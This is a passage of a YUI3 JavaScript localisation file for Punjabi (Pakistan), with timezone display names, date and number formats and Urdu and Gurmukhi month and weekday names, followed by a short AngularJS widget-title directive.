"America/Indiana/Vevay_Z_abbreviated" : "US (Vevay, Indiana)", "America/Indiana/Vevay_Z_short" : "EST", "America/Indiana/Vincennes_Z_abbreviated" : "US (Vincennes, Indiana)", "America/Indiana/Vincennes_Z_short" : "EST", "America/Indiana/Winamac_Z_abbreviated" : "US (Winamac, Indiana)", "America/Indiana/Winamac_Z_short" : "EST", "America/Iqaluit_Z_abbreviated" : "CA (Iqaluit)", "America/Iqaluit_Z_short" : "EST", "America/Jamaica_Z_abbreviated" : "(JM)", "America/Jamaica_Z_short" : "EST", "America/Juneau_Z_abbreviated" : "US (Juneau)", "America/Juneau_Z_short" : "PST", "America/Kentucky/Louisville_Z_abbreviated" : "US (Louisville)", "America/Kentucky/Louisville_Z_short" : "EST", "America/Kentucky/Monticello_Z_abbreviated" : "US (Monticello, Kentucky)", "America/Kentucky/Monticello_Z_short" : "CST", "America/La_Paz_Z_abbreviated" : "(BO)", "America/La_Paz_Z_short" : "BOT", "America/Lima_Z_abbreviated" : "(PE)", "America/Lima_Z_short" : "PET", "America/Los_Angeles_Z_abbreviated" : "US (Los Angeles)", "America/Los_Angeles_Z_short" : "PST", "America/Maceio_Z_abbreviated" : "BR (Maceio)", "America/Maceio_Z_short" : "BRT", "America/Managua_Z_abbreviated" : "(NI)", "America/Managua_Z_short" : "CST", "America/Manaus_Z_abbreviated" : "BR (Manaus)", "America/Manaus_Z_short" : "AMT", "America/Martinique_Z_abbreviated" : "(MQ)", "America/Martinique_Z_short" : "AST", "America/Matamoros_Z_abbreviated" : "MX (Matamoros)", "America/Matamoros_Z_short" : "CST", "America/Mazatlan_Z_abbreviated" : "MX (Mazatlan)", "America/Mazatlan_Z_short" : "PST", "America/Menominee_Z_abbreviated" : "US (Menominee)", "America/Menominee_Z_short" : "EST", "America/Merida_Z_abbreviated" : "MX (Merida)", "America/Merida_Z_short" : "CST", "America/Mexico_City_Z_abbreviated" : "MX (Mexico City)", "America/Mexico_City_Z_short" : "CST", "America/Miquelon_Z_abbreviated" : "(PM)", "America/Miquelon_Z_short" : "AST", "America/Moncton_Z_abbreviated" : "CA (Moncton)", "America/Moncton_Z_short" : "AST", "America/Monterrey_Z_abbreviated" : "MX (Monterrey)", "America/Monterrey_Z_short" : "CST", "America/Montevideo_Z_abbreviated" : "(UY)", "America/Montevideo_Z_short" : "UYT", "America/Montserrat_Z_abbreviated" : "(MS)", "America/Montserrat_Z_short" : "AST", "America/Nassau_Z_abbreviated" : "(BS)", "America/Nassau_Z_short" : "EST", "America/New_York_Z_abbreviated" : "US (New York)", "America/New_York_Z_short" : "EST", "America/Noronha_Z_abbreviated" : "BR (Noronha)", "America/Noronha_Z_short" : "FNT", "America/North_Dakota/Beulah_Z_abbreviated" : "US (Beulah)", "America/North_Dakota/Beulah_Z_short" : "MST", "America/North_Dakota/Center_Z_abbreviated" : "US (Center, North Dakota)", "America/North_Dakota/Center_Z_short" : "MST", "America/North_Dakota/New_Salem_Z_abbreviated" : "US (New Salem, North Dakota)", "America/North_Dakota/New_Salem_Z_short" : "MST", "America/Ojinaga_Z_abbreviated" : "MX (Ojinaga)", "America/Ojinaga_Z_short" : "CST", "America/Panama_Z_abbreviated" : "(PA)", "America/Panama_Z_short" : "EST", "America/Pangnirtung_Z_abbreviated" : "CA (Pangnirtung)", "America/Pangnirtung_Z_short" : "AST", "America/Paramaribo_Z_abbreviated" : "(SR)", "America/Paramaribo_Z_short" : "NEGT", "America/Phoenix_Z_abbreviated" : "US (Phoenix)", "America/Phoenix_Z_short" : "MST", "America/Port-au-Prince_Z_abbreviated" : "(HT)", "America/Port-au-Prince_Z_short" : "EST", "America/Port_of_Spain_Z_abbreviated" : "(TT)", "America/Port_of_Spain_Z_short" : "AST", "America/Porto_Velho_Z_abbreviated" : "BR (Porto Velho)", "America/Porto_Velho_Z_short" : "AMT", "America/Puerto_Rico_Z_abbreviated" : "(PR)", "America/Puerto_Rico_Z_short" : "AST", "America/Rankin_Inlet_Z_abbreviated" : "CA (Rankin Inlet)", "America/Rankin_Inlet_Z_short" : "CST", "America/Recife_Z_abbreviated" : "BR (Recife)", "America/Recife_Z_short" : "BRT", "America/Regina_Z_abbreviated" : "CA (Regina)", "America/Regina_Z_short" : "CST", "America/Resolute_Z_abbreviated" : "CA (Resolute)", "America/Resolute_Z_short" : "CST", "America/Rio_Branco_Z_abbreviated" : "BR (Rio Branco)", "America/Rio_Branco_Z_short" : "ACT (Acre)", "America/Santa_Isabel_Z_abbreviated" : "MX (Santa Isabel)", "America/Santa_Isabel_Z_short" : "PST", "America/Santarem_Z_abbreviated" : "BR (Santarem)", "America/Santarem_Z_short" : "AMT", "America/Santiago_Z_abbreviated" : "CL (Santiago)", "America/Santiago_Z_short" : "CLST", "America/Santo_Domingo_Z_abbreviated" : "(DO)", "America/Santo_Domingo_Z_short" : "GMT-٠٤:٣٠", "America/Sao_Paulo_Z_abbreviated" : "BR (Sao Paulo)", "America/Sao_Paulo_Z_short" : "BRT", "America/St_Johns_Z_abbreviated" : "CA (St. John's)", "America/St_Johns_Z_short" : "NST", "America/St_Kitts_Z_abbreviated" : "(KN)", "America/St_Kitts_Z_short" : "AST", "America/St_Lucia_Z_abbreviated" : "(LC)", "America/St_Lucia_Z_short" : "AST", "America/St_Thomas_Z_abbreviated" : "(VI)", "America/St_Thomas_Z_short" : "AST", "America/St_Vincent_Z_abbreviated" : "(VC)", "America/St_Vincent_Z_short" : "AST", "America/Tegucigalpa_Z_abbreviated" : "(HN)", "America/Tegucigalpa_Z_short" : "CST", "America/Tijuana_Z_abbreviated" : "MX (Tijuana)", "America/Tijuana_Z_short" : "PST", "America/Toronto_Z_abbreviated" : "CA (Toronto)", "America/Toronto_Z_short" : "EST", "America/Tortola_Z_abbreviated" : "(VG)", "America/Tortola_Z_short" : "AST", "America/Vancouver_Z_abbreviated" : "CA (Vancouver)", "America/Vancouver_Z_short" : "PST", "America/Winnipeg_Z_abbreviated" : "CA (Winnipeg)", "America/Winnipeg_Z_short" : "CST", "Antarctica/Casey_Z_abbreviated" : "AQ (Casey)", "Antarctica/Casey_Z_short" : "AWST", "Antarctica/Davis_Z_abbreviated" : "AQ (Davis)", "Antarctica/Davis_Z_short" : "DAVT", "Antarctica/DumontDUrville_Z_abbreviated" : "AQ (Dumont d'Urville)", "Antarctica/DumontDUrville_Z_short" : "DDUT", "Antarctica/Macquarie_Z_abbreviated" : "AQ (Macquarie)", "Antarctica/Macquarie_Z_short" : "AEDT", "Antarctica/McMurdo_Z_abbreviated" : "AQ (McMurdo)", "Antarctica/McMurdo_Z_short" : "NZST", "Antarctica/Palmer_Z_abbreviated" : "AQ (Palmer)", "Antarctica/Palmer_Z_short" : "ART", "Antarctica/Rothera_Z_abbreviated" : "AQ (Rothera)", "Antarctica/Rothera_Z_short" : "ROTT", "Antarctica/Syowa_Z_abbreviated" : "AQ (Syowa)", "Antarctica/Syowa_Z_short" : "SYOT", "Antarctica/Vostok_Z_abbreviated" : "AQ (Vostok)", "Antarctica/Vostok_Z_short" : "VOST", "Asia/Aden_Z_abbreviated" : "(YE)", "Asia/Aden_Z_short" : "AST (SA)", "Asia/Almaty_Z_abbreviated" : "KZ (Almaty)", "Asia/Almaty_Z_short" : "ALMT", "Asia/Amman_Z_abbreviated" : "(JO)", "Asia/Amman_Z_short" : "EET", "Asia/Anadyr_Z_abbreviated" : "RU (Anadyr)", "Asia/Anadyr_Z_short" : "ANAT", "Asia/Aqtau_Z_abbreviated" : "KZ (Aqtau)", "Asia/Aqtau_Z_short" : "SHET", "Asia/Aqtobe_Z_abbreviated" : "KZ (Aqtobe)", "Asia/Aqtobe_Z_short" : "AKTT", "Asia/Ashgabat_Z_abbreviated" : "(TM)", "Asia/Ashgabat_Z_short" : "ASHT", "Asia/Baghdad_Z_abbreviated" : "(IQ)", "Asia/Baghdad_Z_short" : "AST (SA)", "Asia/Bahrain_Z_abbreviated" : "(BH)", "Asia/Bahrain_Z_short" : "GST", "Asia/Baku_Z_abbreviated" : "(AZ)", "Asia/Baku_Z_short" : "BAKT", "Asia/Bangkok_Z_abbreviated" : "(TH)", "Asia/Bangkok_Z_short" : "ICT", "Asia/Beirut_Z_abbreviated" : "(LB)", "Asia/Beirut_Z_short" : "EET", "Asia/Bishkek_Z_abbreviated" : "(KG)", "Asia/Bishkek_Z_short" : "FRUT", "Asia/Brunei_Z_abbreviated" : "(BN)", "Asia/Brunei_Z_short" : "BNT", "Asia/Choibalsan_Z_abbreviated" : "MN (Choibalsan)", "Asia/Choibalsan_Z_short" : "ULAT", "Asia/Chongqing_Z_abbreviated" : "CN (Chongqing)", "Asia/Chongqing_Z_short" : "LONT", "Asia/Colombo_Z_abbreviated" : "(LK)", "Asia/Colombo_Z_short" : "IST", "Asia/Damascus_Z_abbreviated" : "(SY)", "Asia/Damascus_Z_short" : "EET", "Asia/Dhaka_Z_abbreviated" : "(BD)", "Asia/Dhaka_Z_short" : "DACT", "Asia/Dili_Z_abbreviated" : "(TL)", "Asia/Dili_Z_short" : "TLT", "Asia/Dubai_Z_abbreviated" : "(AE)", "Asia/Dubai_Z_short" : "GST", "Asia/Dushanbe_Z_abbreviated" : "(TJ)", "Asia/Dushanbe_Z_short" : "DUST", "Asia/Gaza_Z_abbreviated" : "(PS)", "Asia/Gaza_Z_short" : "IST (IL)", "Asia/Harbin_Z_abbreviated" : "CN (Harbin)", "Asia/Harbin_Z_short" : "CHAT", "Asia/Hebron_Z_abbreviated" : "(PS)", "Asia/Hebron_Z_short" : "IST (IL)", "Asia/Ho_Chi_Minh_Z_abbreviated" : "(VN)", "Asia/Ho_Chi_Minh_Z_short" : "ICT", "Asia/Hong_Kong_Z_abbreviated" : "(HK)", "Asia/Hong_Kong_Z_short" : "HKT", "Asia/Hovd_Z_abbreviated" : "MN (Hovd)", "Asia/Hovd_Z_short" : "HOVT", "Asia/Irkutsk_Z_abbreviated" : "RU (Irkutsk)", "Asia/Irkutsk_Z_short" : "IRKT", "Asia/Jakarta_Z_abbreviated" : "ID (Jakarta)", "Asia/Jakarta_Z_short" : "WIT", "Asia/Jerusalem_Z_abbreviated" : "(IL)", "Asia/Jerusalem_Z_short" : "IST (IL)", "Asia/Kabul_Z_abbreviated" : "(AF)", "Asia/Kabul_Z_short" : "AFT", "Asia/Kamchatka_Z_abbreviated" : "RU (Kamchatka)", "Asia/Kamchatka_Z_short" : "PETT", "Asia/Karachi_Z_abbreviated" : "(پکستان)", "Asia/Karachi_Z_short" : "KART", "Asia/Kashgar_Z_abbreviated" : "CN (Kashgar)", "Asia/Kashgar_Z_short" : "KAST", "Asia/Kathmandu_Z_abbreviated" : "(NP)", "Asia/Kathmandu_Z_short" : "NPT", "Asia/Kolkata_Z_abbreviated" : "(ਭਾਰਤ)", "Asia/Kolkata_Z_short" : "IST", "Asia/Krasnoyarsk_Z_abbreviated" : "RU (Krasnoyarsk)", "Asia/Krasnoyarsk_Z_short" : "KRAT", "Asia/Kuala_Lumpur_Z_abbreviated" : "MY (Kuala Lumpur)", "Asia/Kuala_Lumpur_Z_short" : "MALT", "Asia/Kuching_Z_abbreviated" : "MY (Kuching)", "Asia/Kuching_Z_short" : "BORT", "Asia/Kuwait_Z_abbreviated" : "(KW)", "Asia/Kuwait_Z_short" : "AST (SA)", "Asia/Macau_Z_abbreviated" : "(MO)", "Asia/Macau_Z_short" : "MOT", "Asia/Magadan_Z_abbreviated" : "RU (Magadan)", "Asia/Magadan_Z_short" : "MAGT", "Asia/Manila_Z_abbreviated" : "(PH)", "Asia/Manila_Z_short" : "PHT", "Asia/Muscat_Z_abbreviated" : "(OM)", "Asia/Muscat_Z_short" : "GST", "Asia/Nicosia_Z_abbreviated" : "(CY)", "Asia/Nicosia_Z_short" : "EET", "Asia/Novokuznetsk_Z_abbreviated" : "RU (Novokuznetsk)", "Asia/Novokuznetsk_Z_short" : "KRAT", "Asia/Novosibirsk_Z_abbreviated" : "RU (Novosibirsk)", "Asia/Novosibirsk_Z_short" : "NOVT", "Asia/Omsk_Z_abbreviated" : "RU (Omsk)", "Asia/Omsk_Z_short" : "OMST", "Asia/Oral_Z_abbreviated" : "KZ (Oral)", "Asia/Oral_Z_short" : "URAT", "Asia/Phnom_Penh_Z_abbreviated" : "(KH)", "Asia/Phnom_Penh_Z_short" : "ICT", "Asia/Pontianak_Z_abbreviated" : "ID (Pontianak)", "Asia/Pontianak_Z_short" : "CIT", "Asia/Qatar_Z_abbreviated" : "(QA)", "Asia/Qatar_Z_short" : "GST", "Asia/Qyzylorda_Z_abbreviated" : "KZ (Qyzylorda)", "Asia/Qyzylorda_Z_short" : "KIZT", "Asia/Rangoon_Z_abbreviated" : "(MM)", "Asia/Rangoon_Z_short" : "MMT", "Asia/Riyadh87_Z_abbreviated" : "(Asia/Riyadh87)", "Asia/Riyadh87_Z_short" : "GMT+٠٣:٠٧:٠٤", "Asia/Riyadh88_Z_abbreviated" : "(Asia/Riyadh88)", "Asia/Riyadh88_Z_short" : "GMT+٠٣:٠٧:٠٤", "Asia/Riyadh89_Z_abbreviated" : "(Asia/Riyadh89)", "Asia/Riyadh89_Z_short" : "GMT+٠٣:٠٧:٠٤", "Asia/Riyadh_Z_abbreviated" : "(SA)", "Asia/Riyadh_Z_short" : "AST (SA)", "Asia/Sakhalin_Z_abbreviated" : "RU (Sakhalin)", "Asia/Sakhalin_Z_short" : "SAKT", "Asia/Samarkand_Z_abbreviated" : "UZ (Samarkand)", "Asia/Samarkand_Z_short" : "SAMT (Samarkand)", "Asia/Seoul_Z_abbreviated" : "(KR)", "Asia/Seoul_Z_short" : "KST", "Asia/Shanghai_Z_abbreviated" : "CN (Shanghai)", "Asia/Shanghai_Z_short" : "CST (CN)", "Asia/Singapore_Z_abbreviated" : "(SG)", "Asia/Singapore_Z_short" : "SGT", "Asia/Taipei_Z_abbreviated" : "(TW)", "Asia/Taipei_Z_short" : "CST (TW)", "Asia/Tbilisi_Z_abbreviated" : "(GE)", "Asia/Tbilisi_Z_short" : "TBIT", "Asia/Tehran_Z_abbreviated" : "(IR)", "Asia/Tehran_Z_short" : "IRST", "Asia/Thimphu_Z_abbreviated" : "(BT)", "Asia/Thimphu_Z_short" : "IST", "Asia/Tokyo_Z_abbreviated" : "(JP)", "Asia/Tokyo_Z_short" : "JST", "Asia/Ulaanbaatar_Z_abbreviated" : "MN (Ulaanbaatar)", "Asia/Ulaanbaatar_Z_short" : "ULAT", "Asia/Urumqi_Z_abbreviated" : "CN (Urumqi)", "Asia/Urumqi_Z_short" : "URUT", "Asia/Vientiane_Z_abbreviated" : "(LA)", "Asia/Vientiane_Z_short" : "ICT", "Asia/Vladivostok_Z_abbreviated" : "RU (Vladivostok)", "Asia/Vladivostok_Z_short" : "VLAT", "Asia/Yakutsk_Z_abbreviated" : "RU (Yakutsk)", "Asia/Yakutsk_Z_short" : "YAKT", "Asia/Yekaterinburg_Z_abbreviated" : "RU (Yekaterinburg)", "Asia/Yekaterinburg_Z_short" : "SVET", "Asia/Yerevan_Z_abbreviated" : "(AM)", "Asia/Yerevan_Z_short" : "YERT", "Atlantic/Bermuda_Z_abbreviated" : "(BM)", "Atlantic/Bermuda_Z_short" : "AST", "Atlantic/Cape_Verde_Z_abbreviated" : "(CV)", "Atlantic/Cape_Verde_Z_short" : "CVT", "Atlantic/Reykjavik_Z_abbreviated" : "(IS)", "Atlantic/Reykjavik_Z_short" : "GMT", "Atlantic/South_Georgia_Z_abbreviated" : "(GS)", "Atlantic/South_Georgia_Z_short" : "GST (GS)", "Atlantic/St_Helena_Z_abbreviated" : "(SH)", "Atlantic/St_Helena_Z_short" : "GMT", "Atlantic/Stanley_Z_abbreviated" : "(FK)", "Atlantic/Stanley_Z_short" : "FKT", "Australia/Adelaide_Z_abbreviated" : "AU (Adelaide)", "Australia/Adelaide_Z_short" : "ACST", "Australia/Brisbane_Z_abbreviated" : "AU (Brisbane)", "Australia/Brisbane_Z_short" : "AEST", "Australia/Darwin_Z_abbreviated" : "AU (Darwin)", "Australia/Darwin_Z_short" : "ACST", "Australia/Hobart_Z_abbreviated" : "AU (Hobart)", "Australia/Hobart_Z_short" : "AEDT", "Australia/Lord_Howe_Z_abbreviated" : "AU (Lord Howe)", "Australia/Lord_Howe_Z_short" : "AEST", "Australia/Melbourne_Z_abbreviated" : "AU (Melbourne)", "Australia/Melbourne_Z_short" : "AEST", "Australia/Perth_Z_abbreviated" : "AU (Perth)", "Australia/Perth_Z_short" : "AWST", "Australia/Sydney_Z_abbreviated" : "AU (Sydney)", "Australia/Sydney_Z_short" : "AEST", "BC" : "ਈਸਾਪੂਰਵ", "DateTimeCombination" : "{1} {0}", "DateTimeTimezoneCombination" : "{1} {0} {2}", "DateTimezoneCombination" : "{1} {2}", "EST_Z_abbreviated" : "GMT-٠٥:٠٠", "EST_Z_short" : "GMT-٠٥:٠٠", "Etc/GMT-14_Z_abbreviated" : "GMT+١٤:٠٠", "Etc/GMT-14_Z_short" : "GMT+١٤:٠٠", "Etc/GMT_Z_abbreviated" : "GMT+٠٠:٠٠", "Etc/GMT_Z_short" : "GMT+٠٠:٠٠", "Europe/Amsterdam_Z_abbreviated" : "(NL)", "Europe/Amsterdam_Z_short" : "CET", "Europe/Andorra_Z_abbreviated" : "(AD)", "Europe/Andorra_Z_short" : "CET", "Europe/Athens_Z_abbreviated" : "(GR)", "Europe/Athens_Z_short" : "EET", "Europe/Belgrade_Z_abbreviated" : "(RS)", "Europe/Belgrade_Z_short" : "CET", "Europe/Berlin_Z_abbreviated" : "(DE)", "Europe/Berlin_Z_short" : "CET", "Europe/Brussels_Z_abbreviated" : "(BE)", "Europe/Brussels_Z_short" : "CET", "Europe/Bucharest_Z_abbreviated" : "(RO)", "Europe/Bucharest_Z_short" : "EET", "Europe/Budapest_Z_abbreviated" : "(HU)", "Europe/Budapest_Z_short" : "CET", "Europe/Chisinau_Z_abbreviated" : "(MD)", "Europe/Chisinau_Z_short" : "MSK", "Europe/Copenhagen_Z_abbreviated" : "(DK)", "Europe/Copenhagen_Z_short" : "CET", "Europe/Gibraltar_Z_abbreviated" : "(GI)", "Europe/Gibraltar_Z_short" : "CET", "Europe/Helsinki_Z_abbreviated" : "(FI)", "Europe/Helsinki_Z_short" : "EET", "Europe/Istanbul_Z_abbreviated" : "(TR)", "Europe/Istanbul_Z_short" : "EET", "Europe/Kaliningrad_Z_abbreviated" : "RU (Kaliningrad)", "Europe/Kaliningrad_Z_short" : "MSK", "Europe/Kiev_Z_abbreviated" : "UA (Kiev)", "Europe/Kiev_Z_short" : "MSK", "Europe/Lisbon_Z_abbreviated" : "PT (Lisbon)", "Europe/Lisbon_Z_short" : "CET", "Europe/London_Z_abbreviated" : "(GB)", "Europe/London_Z_short" : "GMT+٠١:٠٠", "Europe/Luxembourg_Z_abbreviated" : "(LU)", "Europe/Luxembourg_Z_short" : "CET", "Europe/Madrid_Z_abbreviated" : "ES (Madrid)", "Europe/Madrid_Z_short" : "CET", "Europe/Malta_Z_abbreviated" : "(MT)", "Europe/Malta_Z_short" : "CET", "Europe/Minsk_Z_abbreviated" : "(BY)", "Europe/Minsk_Z_short" : "MSK", "Europe/Monaco_Z_abbreviated" : "(MC)", "Europe/Monaco_Z_short" : "CET", "Europe/Moscow_Z_abbreviated" : "RU (Moscow)", "Europe/Moscow_Z_short" : "MSK", "Europe/Oslo_Z_abbreviated" : "(NO)", "Europe/Oslo_Z_short" : "CET", "Europe/Paris_Z_abbreviated" : "(FR)", "Europe/Paris_Z_short" : "CET", "Europe/Prague_Z_abbreviated" : "(CZ)", "Europe/Prague_Z_short" : "CET", "Europe/Riga_Z_abbreviated" : "(LV)", "Europe/Riga_Z_short" : "MSK", "Europe/Rome_Z_abbreviated" : "(IT)", "Europe/Rome_Z_short" : "CET", "Europe/Samara_Z_abbreviated" : "RU (Samara)", "Europe/Samara_Z_short" : "KUYT", "Europe/Simferopol_Z_abbreviated" : "UA (Simferopol)", "Europe/Simferopol_Z_short" : "MSK", "Europe/Sofia_Z_abbreviated" : "(BG)", "Europe/Sofia_Z_short" : "EET", "Europe/Stockholm_Z_abbreviated" : "(SE)", "Europe/Stockholm_Z_short" : "CET", "Europe/Tallinn_Z_abbreviated" : "(EE)", "Europe/Tallinn_Z_short" : "MSK", "Europe/Tirane_Z_abbreviated" : "(AL)", "Europe/Tirane_Z_short" : "CET", "Europe/Uzhgorod_Z_abbreviated" : "UA (Uzhgorod)", "Europe/Uzhgorod_Z_short" : "MSK", "Europe/Vaduz_Z_abbreviated" : "(LI)", "Europe/Vaduz_Z_short" : "CET", "Europe/Vienna_Z_abbreviated" : "(AT)", "Europe/Vienna_Z_short" : "CET", "Europe/Vilnius_Z_abbreviated" : "(LT)", "Europe/Vilnius_Z_short" : "MSK", "Europe/Volgograd_Z_abbreviated" : "RU (Volgograd)", "Europe/Volgograd_Z_short" : "VOLT", "Europe/Warsaw_Z_abbreviated" : "(PL)", "Europe/Warsaw_Z_short" : "CET", "Europe/Zaporozhye_Z_abbreviated" : "UA (Zaporozhye)", "Europe/Zaporozhye_Z_short" : "MSK", "Europe/Zurich_Z_abbreviated" : "(CH)", "Europe/Zurich_Z_short" : "CET", "HMS_long" : "{0} {1} {2}", "HMS_short" : "{0}:{1}:{2}", "HM_abbreviated" : "h:mm a", "HM_short" : "h:mm a", "H_abbreviated" : "h a", "Indian/Antananarivo_Z_abbreviated" : "(MG)", "Indian/Antananarivo_Z_short" : "EAT", "Indian/Chagos_Z_abbreviated" : "(IO)", "Indian/Chagos_Z_short" : "IOT", "Indian/Christmas_Z_abbreviated" : "(CX)", "Indian/Christmas_Z_short" : "CXT", "Indian/Cocos_Z_abbreviated" : "(CC)", "Indian/Cocos_Z_short" : "CCT", "Indian/Comoro_Z_abbreviated" : "(KM)", "Indian/Comoro_Z_short" : "EAT", "Indian/Kerguelen_Z_abbreviated" : "(TF)", "Indian/Kerguelen_Z_short" : "TFT", "Indian/Mahe_Z_abbreviated" : "(SC)", "Indian/Mahe_Z_short" : "SCT", "Indian/Maldives_Z_abbreviated" : "(MV)", "Indian/Maldives_Z_short" : "MVT", "Indian/Mauritius_Z_abbreviated" : "(MU)", "Indian/Mauritius_Z_short" : "MUT", "Indian/Mayotte_Z_abbreviated" : "(YT)", "Indian/Mayotte_Z_short" : "EAT", "Indian/Reunion_Z_abbreviated" : "(RE)", "Indian/Reunion_Z_short" : "RET", "MD_abbreviated" : "MMM d", "MD_long" : "MMMM d", "MD_short" : "d/M", "M_abbreviated" : "MMM", "M_long" : "MMMM", "Pacific/Apia_Z_abbreviated" : "(WS)", "Pacific/Apia_Z_short" : "BST (Bering)", "Pacific/Auckland_Z_abbreviated" : "NZ (Auckland)", "Pacific/Auckland_Z_short" : "NZST", "Pacific/Chuuk_Z_abbreviated" : "FM (Truk)", "Pacific/Chuuk_Z_short" : "TRUT", "Pacific/Efate_Z_abbreviated" : "(VU)", "Pacific/Efate_Z_short" : "VUT", "Pacific/Fakaofo_Z_abbreviated" : "(TK)", "Pacific/Fakaofo_Z_short" : "TKT", "Pacific/Fiji_Z_abbreviated" : "(FJ)", "Pacific/Fiji_Z_short" : "FJT", "Pacific/Funafuti_Z_abbreviated" : "(TV)", "Pacific/Funafuti_Z_short" : "TVT", "Pacific/Gambier_Z_abbreviated" : "PF (Gambier)", "Pacific/Gambier_Z_short" : "GAMT", "Pacific/Guadalcanal_Z_abbreviated" : "(SB)", "Pacific/Guadalcanal_Z_short" : "SBT", "Pacific/Guam_Z_abbreviated" : "(GU)", "Pacific/Guam_Z_short" : "GST (GU)", "Pacific/Honolulu_Z_abbreviated" : "US (Honolulu)", "Pacific/Honolulu_Z_short" : "AHST", "Pacific/Johnston_Z_abbreviated" : "UM (Johnston)", "Pacific/Johnston_Z_short" : "AHST", "Pacific/Majuro_Z_abbreviated" : "MH (Majuro)", "Pacific/Majuro_Z_short" : "MHT", "Pacific/Midway_Z_abbreviated" : "UM (Midway)", "Pacific/Midway_Z_short" : "BST (Bering)", "Pacific/Nauru_Z_abbreviated" : "(NR)", "Pacific/Nauru_Z_short" : "NRT", "Pacific/Niue_Z_abbreviated" : "(NU)", "Pacific/Niue_Z_short" : "NUT", "Pacific/Norfolk_Z_abbreviated" : "(NF)", "Pacific/Norfolk_Z_short" : "NFT", "Pacific/Noumea_Z_abbreviated" : "(NC)", "Pacific/Noumea_Z_short" : "NCT", "Pacific/Pago_Pago_Z_abbreviated" : "(AS)", "Pacific/Pago_Pago_Z_short" : "BST (Bering)", "Pacific/Palau_Z_abbreviated" : "(PW)", "Pacific/Palau_Z_short" : "PWT", "Pacific/Pitcairn_Z_abbreviated" : "(PN)", "Pacific/Pitcairn_Z_short" : "PNT", "Pacific/Port_Moresby_Z_abbreviated" : "(PG)", "Pacific/Port_Moresby_Z_short" : "PGT", "Pacific/Rarotonga_Z_abbreviated" : "(CK)", "Pacific/Rarotonga_Z_short" : "CKT", "Pacific/Saipan_Z_abbreviated" : "(MP)", "Pacific/Saipan_Z_short" : "MPT", "Pacific/Tarawa_Z_abbreviated" : "KI (Tarawa)", "Pacific/Tarawa_Z_short" : "GILT", "Pacific/Tongatapu_Z_abbreviated" : "(TO)", "Pacific/Tongatapu_Z_short" : "TOT", "Pacific/Wake_Z_abbreviated" : "UM (Wake)", "Pacific/Wake_Z_short" : "WAKT", "Pacific/Wallis_Z_abbreviated" : "(WF)", "Pacific/Wallis_Z_short" : "WFT", "RelativeTime/oneUnit" : "{0} ago", "RelativeTime/twoUnits" : "{0} {1} ago", "TimeTimezoneCombination" : "{0} {2}", "WET_Z_abbreviated" : "GMT+٠٠:٠٠", "WET_Z_short" : "GMT+٠٠:٠٠", "WMD_abbreviated" : "E MMM d", "WMD_long" : "EEEE, MMMM d", "WMD_short" : "E, M-d", "WYMD_abbreviated" : "EEE, y MMM d", "WYMD_long" : "EEEE, dd MMMM y", "WYMD_short" : "EEE, M/d/yy", "W_abbreviated" : "EEE", "W_long" : "EEEE", "YMD_abbreviated" : "MMM d, y", "YMD_full" : "dd/MM/yyyy", "YMD_long" : "d MMMM y", "YMD_short" : "dd/MM/yyyy", "YM_long" : "MMMM y", "currencyFormat" : "¤ #,##,##0.00", "currencyPatternPlural" : "e u", "currencyPatternSingular" : "{0} {1}", "day" : "d", "day_abbr" : "d", "dayperiod" : "Dayperiod", "days" : "d", "days_abbr" : "d", "decimalFormat" : "#,##,##0.###", "decimalSeparator" : ".", "defaultCurrency" : "PKR", "exponentialSymbol" : "E", "groupingSeparator" : ",", "hour" : "h", "hour_abbr" : "h", "hours" : "h", "hours_abbr" : "h", "infinitySign" : "∞", "listPatternEnd" : "{0}, {1}", "listPatternMiddle" : "{0}, {1}", "listPatternStart" : "{0}, {1}", "listPatternTwo" : "{0}, {1}", "minusSign" : "-", "minute" : "min", "minute_abbr" : "min", "minutes" : "min", "minutes_abbr" : "min", "month" : "m", "monthAprLong" : "اپریل", "monthAprMedium" : "اپریل", "monthAugLong" : "اگست", "monthAugMedium" : "اگست", "monthDecLong" : "دسمبر", "monthDecMedium" : "دسمبر", "monthFebLong" : "فروری", "monthFebMedium" : "فروری", "monthJanLong" : "جنوری", "monthJanMedium" : "جنوری", "monthJulLong" : "جولائی", "monthJulMedium" : "جولائی", "monthJunLong" : "جون", "monthJunMedium" : "جون", "monthMarLong" : "مارچ", "monthMarMedium" : "مارچ", "monthMayLong" : "مئ", "monthMayMedium" : "مئ", "monthNovLong" : "نومبر", "monthNovMedium" : "نومبر", "monthOctLong" : "اکتوبر", "monthOctMedium" : "اکتوبر", "monthSepLong" : "ستمبر", "monthSepMedium" : "ستمبر", "month_abbr" : "m", "months" : "m", "months_abbr" : "m", "nanSymbol" : "NaN", "numberZero" : "٠", "perMilleSign" : "‰", "percentFormat" : "#,##,##0%", "percentSign" : "%", "periodAm" : "Dayperiod", "periodPm" : "Dayperiod", "pluralRule" : "set3", "plusSign" : "+", "scientificFormat" : "#E0", "second" : "s", "second_abbr" : "s", "seconds" : "s", "seconds_abbr" : "s", "today" : "ਅੱਜ", "tomorrow" : "ਭਲਕ", "weekdayFriLong" : "جمعہ", "weekdayFriMedium" : "ਸ਼ੁਕਰ.", "weekdayMonLong" : "پیر", "weekdayMonMedium" : "ਸੋਮ.", "weekdaySatLong" : "ہفتہ", "weekdaySatMedium" : "ਸ਼ਨੀ.", "weekdaySunLong" : "اتوار", "weekdaySunMedium" : "ਐਤ.", "weekdayThuLong" : "جمعرات", "weekdayThuMedium" : "ਵੀਰ.", "weekdayTueLong" : "منگل", "weekdayTueMedium" : "ਮੰਗਲ.", "weekdayWedLong" : "بُدھ", "weekdayWedMedium" : "ਬੁਧ.", "year" : "y", "year_abbr" : "y", "years" : "y", "years_abbr" : "y" }
inikoo/fact
libs/yui/yui3-gallery/src/gallery-i18n-formats/lang/gallery-i18n-formats_pa-PK.js
JavaScript
mit
33,526
angular .module('Dashboard') .directive('rdWidgetTitle', rdWidgetTitle); function rdWidgetTitle () { var directive = { requires: '^rdWidget', scope: { title: '@', icon: '@' }, transclude: true, template: '<div class="widget-title"> <i class="fa" ng-class="icon"></i> {{title}} <div class="pull-right" ng-transclude></div></div>', restrict: 'E' }; return directive; };
haveal/fantasy-football-io
web/js/dashboard/directives/widget-title.js
JavaScript
mit
445
